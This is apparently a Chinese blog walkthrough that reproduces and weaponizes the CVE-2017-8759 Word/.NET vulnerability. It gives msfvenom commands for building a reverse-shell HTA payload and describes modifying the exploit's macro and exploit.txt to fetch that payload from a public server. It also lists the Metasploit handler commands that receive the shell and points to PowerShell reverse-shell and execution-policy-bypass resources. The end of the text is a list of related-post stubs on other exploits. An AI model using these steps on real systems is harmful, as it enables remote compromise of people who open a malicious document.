CVE-2017-8759 微软word漏洞复现以及利用
CVE-2017-8759 微软word漏洞复现以及利用
0x00 漏洞描述
近日,360集团核心安全事业部分析团队发现一个新型的Office文档高级威胁攻击,攻击使用了9月12日补丁刚修复的.NET Framework漏洞,该漏洞在野外被利用时为0day状态,用户打开恶意的Office文档就会中招。该漏洞的技术原理和今年黑客“奥斯卡”Pwnie Awards上的最佳客户端漏洞(CVE-2017-0199)如出一辙,不同的是,这次黑客在Offcie文档中嵌入新的Moniker对象,利用的是.net库漏洞,在Office文档中加载执行远程的恶意.NET代码,而整个漏洞的罪魁祸首竞是.NET Framework一个换行符处理失误。
影响范围:
Microsoft .NET Framework 4.6.2
Microsoft .NET Framework 4.6.1
Microsoft .NET Framework 3.5.1
Microsoft .NET Framework 4.7
Microsoft .NET Framework 4.6
Microsoft .NET Framework 4.5.2
Microsoft .NET Framework 3.5
Microsoft .NET Framework 2.0 SP2
0x01 验证漏洞
exploit-sample地址:https://github.com/Voulnet/CVE-2017-8759-Exploit-sample
将文件下载下来,打开所在的文件夹,在当前文件夹创建一个命令行,运行:
python -m SimpleHTTPServer 8080
这个时候我们已经在本地的8080端口创建了一个服务器了

然后打开doc文件,启用编辑,就会弹出画图工具,漏洞验证成功

0x02 漏洞利用
环境说明:
- ip: 120.27.32.227 这是我在公网的主机
- ip: 192.168.242.137 虚拟机的kali
- 靶机: windows7 我的实体机,虚拟机没有装了office的
1. 分析流程
word的宏


exploit.txt 文件

cmd.hta文件

所以流程是:
word宏 ==》 exploit.txt ==》 cmd.hta
2. 修改利用
- 我将exploit.txt修改成如下然后上传到我自己的服务器120.27.32.227

访问文件

fn.hta是我用msfvenom生成的,具体命令如下
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.242.137 LPORT=7777 -f hta-psh -o /var/fn.hta
或者
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.242.137 LPORT=7777 -f hta-psh -o /var/fn.hta
- 修改宏

- 然后上传fn.hta到服务器120.27.32.227
3.验证
虚拟机kali(192.168.242.137)启动metasploit
use exploit/multi/handler
set PAYLOAD windows/x64/shell/reverse_tcp
set LHOST 192.168.242.137
set LPORT 7777
exploit

修改过宏的文档在win7打开,反弹回来一个shell

打开word文档的这个过程,360会进行提示但不是报毒,最后还会留下这么一个窗口

至此,漏洞验证到利用结束
0x03 漏洞利用思路
- 可以利用powershell进行注入反弹,gitHub地址:https://github.com/besimorhino/powercat
- 也可以利用hta文件
这两者利用参考文章freebuf有:http://www.freebuf.com/sectool/90362.html
最后,参考文档:
- 漏洞预警:http://bobao.360.cn/learning/detail/4416.html
- powershell反弹shell: https://www.secpulse.com/archives/32096.html
- powersehll注入技巧:http://bobao.360.cn/learning/detail/3808.html
- 绕过PowerShell Execution Policy:http://www.freebuf.com/articles/system/93829.html
CVE-2017-8759 微软word漏洞复现以及利用的更多相关文章
- Redis未授权访问漏洞复现与利用
漏洞简介 Redis默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露到公网上,如果在没有设置密码认 ...
- word漏洞分析与利用
众所周知,溢出漏洞从应用形式上可分为远程服务溢出漏洞和客户端(本地)溢出漏洞两类.远程服务溢出漏洞大家很熟悉了,红色代码.冲击波.振荡波等蠕虫都利用了此类漏洞,漏洞的调试和利用有相应的一套方法,前面的 ...
- 10.Redis未授权访问漏洞复现与利用
一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...
- CVE-20117-111882漏洞复现及利用
背景 工程实践题目: 渗透方向:实验班要求 1.利用已有的漏洞,搭建内网实验环境(WEB漏洞或系统漏洞以近两年内的CVE编号为准,每人一个,先报先得,具体由学习委员负责协调),利用工具进行内网渗透攻击 ...
- Winrar漏洞复现(CVE-2018-20250)
本文讲的是Winrar漏洞利用脚本的使用方法,至于Winrar漏洞的原理,请移步--> Winrar目录穿越漏洞复现 本次利用脚本出处--> https://github.com/back ...
- CVE¬-2020-¬0796 漏洞复现(本地提权)
CVE-2020-0796 漏洞复现(本地提权) 0X00漏洞简介 Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品 ...
- 20145330 《网络对抗》 Eternalblue(MS17-010)漏洞复现与S2-045漏洞的利用及修复
20145330 <网络对抗> Eternalblue(MS17-010)漏洞利用工具实现Win 7系统入侵与S2-045漏洞的利用及修复 加分项目: PC平台逆向破解:注入shellco ...
- CVE-2017-11882漏洞复现
作者:zero 漏洞信息:CVE-2017-11882 2017年11月14日,微软发布了11月份的安全补丁更新,其中比较引人关注的莫过于悄然修复了潜伏17年之久的Office远程代码执行漏洞(CVE ...
- 【漏洞复现】Tomcat CVE-2017-12615 远程代码执行漏洞
漏洞描述 [漏洞预警]Tomcat CVE-2017-12615远程代码执行漏洞/CVE-2017-12616信息泄漏 https://www.secfree.com/article-395.html ...
随机推荐
- python文件操作方式
一.文件操作 1.什么是文件 文件是操作系统暴露给用户能够快捷方便操作硬盘的快捷方式(接口) 2.代码如何操作文件 关键字:open() 三步走: 1.利用关键字open打开文件 2.利用其他方法操作 ...
- c++ 拷贝构造函数、拷贝运算符、析构函数
拷贝构造函数.拷贝运算符.析构函数 拷贝构造函数.拷贝运算符.析构函数 定义行为像值的类 class HasPtr{ public: HasPtr(const string &s = stri ...
- 带你掌握Java各种日志框架
一:日志基本概念及框架 1:什么是日志 Java程序员在开发项目时都是依赖Eclipse/IDEA等集成开发工具的Debug调试功能来跟踪解决Bug,但项目打包部署发布到了测试环境和生产环境怎么办?难 ...
- “百度杯”CTF比赛 九月场Upload
首先生成一个php文件以下源代码: <script language="PHP">$fh=fopen("../flag.".strtolower(& ...
- Django框架表关系外键-多对多外键(增删改查)-正反向的概率-多表查询(子查询与联表查询)
目录 一:表关系外键 1.提前创建表关系 2.目前只剩 书籍表和 书籍作者表没创建信息. 3.增 4.删 5.修改 二:多对多外键增删改查 1.给书籍绑定作者 2.删 3.修改 4.清空 三:正反向的 ...
- .net core多环境发布部署
1.新建的asp.net core项目默认会有appsettings.json和appsettings.Development.json, 新建一个生产环境appsettings.Production ...
- c# 窗口不显示标题栏及周围有/无边框的设置
一 : 不显示标题栏也无边框: 方法1:属性里直接设置 方法2:手写代码(两种效果一样) this.FormBorderStyle = FormBorderStyle.None; 二 : 不显示标题栏 ...
- 千万级 PV是什么意思?
首先介绍下pv的概念: PV(访问量):即Page View,页面刷新一次算一次. UV(独立访客):即Unique Visitor,00:00-24:00内相同的客户端只被计算一次. IP(独立IP ...
- while + else 使用,while死循环与while的嵌套,for循环基本使用,range关键字,for的循环补充(break、continue、else) ,for循环的嵌套,基本数据类型及内置方法
今日内容 内容概要 while + else 使用 while死循环与while的嵌套 for循环基本使用 range关键字 for的循环补充(break.continue.else) for循环的嵌 ...
- Azure DevOps (二) 实现Git仓库和钉钉的联动
上一篇文章中我们提到了azure为我们提供了可自定的web hook,于是我打算实践一下 我假设了一种场景就是,我希望我可以及时收到团队中所有开发人员的代码提交记录,于是乎我想通过web hook打通 ...